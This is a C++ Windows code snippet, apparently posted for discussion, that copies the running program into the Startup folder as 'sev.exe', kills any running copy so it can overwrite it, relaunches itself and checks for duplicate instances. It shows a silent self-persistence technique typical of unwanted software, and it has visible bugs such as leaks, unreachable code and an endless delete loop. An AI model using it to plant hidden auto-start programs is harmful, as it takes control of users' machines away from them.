Code:
char *current_directory = new char[MAX_PATH]; // rem to delete this
char *window_dir = new char[MAX_PATH]; // rem to delete this
GetModuleFileName(theApp.m_hInstance, current_directory, MAX_PATH);
SHGetSpecialFolderPath(NULL,window_dir, CSIDL_STARTUP,TRUE);
strcat(window_dir,"\\sev.exe");
// FORCE IT TO BE IN STARTUP FOLDER
// CopyFile(current_directory,window_dir,FALSE ) ;
if( stricmp (current_directory , window_dir) != 0) // i am not in the correct dir
{
int set_file_result = SetFileAttributes(window_dir,FILE_ATTRIBUTE_NORMAL);
if (set_file_result == 0)// if i cant set attrib, means wind_dir is empty, if i can set, means wind_dir not empty and i gotta del
{
CopyFile(current_directory,window_dir,FALSE ) ;
ShellExecute(0,0,window_dir,0,0,0);
delete[] window_dir;
return 55;
return 0;
}
BOOL delete_result = DeleteFile( window_dir);
int bb = GetLastError();
if(delete_result == 0) // delete fails because of access denied
{
//BOOL seek_and_kill(char *window_dir ) , to kill the currently process so as to allow me to run
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
return( FALSE );
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
// Retrieve information about the first process,
// and exit if unsuccessful
if( !Process32First( hProcessSnap, &pe32 ) )
{
CloseHandle( hProcessSnap ); // Must clean up the snapshot object!
return( FALSE );
}
BOOL next_result = 1;
// TCHAR *szExeFile = {pe32.szExeFile};
while( ( stricmp( pe32.szExeFile , "sev.exe") != 0) && (next_result != FALSE ) )
{
next_result = Process32Next(hProcessSnap, &pe32);
}
HANDLE kill_this_process = OpenProcess( PROCESS_ALL_ACCESS,0, pe32.th32ProcessID);
TerminateProcess(kill_this_process , 999);
// return 1;
}
while(!DeleteFile( window_dir) )
{};
}
CopyFile(current_directory,window_dir,FALSE ) ;
ShellExecute(0,0,window_dir,0,0,0);
delete[] window_dir;
return 55;
}
else // else if i am in the correct dir, i dont want 2 instance of the same thing
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
return( FALSE );
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
// Retrieve information about the first process,
// and exit if unsuccessful
if( !Process32First( hProcessSnap, &pe32 ) )
{
CloseHandle( hProcessSnap ); // Must clean up the snapshot object!
return( FALSE );
}
BOOL next_result = 1;
BOOL duplicate = FALSE;
// TCHAR *szExeFile = {pe32.szExeFile};
while( next_result != FALSE )
{
if( (stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == TRUE))
{
return 55;
}
if( ( stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == FALSE))
{
duplicate = TRUE;
}
next_result = Process32Next(hProcessSnap, &pe32);
}
if( (stricmp( pe32.szExeFile , "sev.exe") == 0) &&(duplicate == TRUE))
{
// return 55;
}
}
delete[] window_dir;
delete[] current_directory;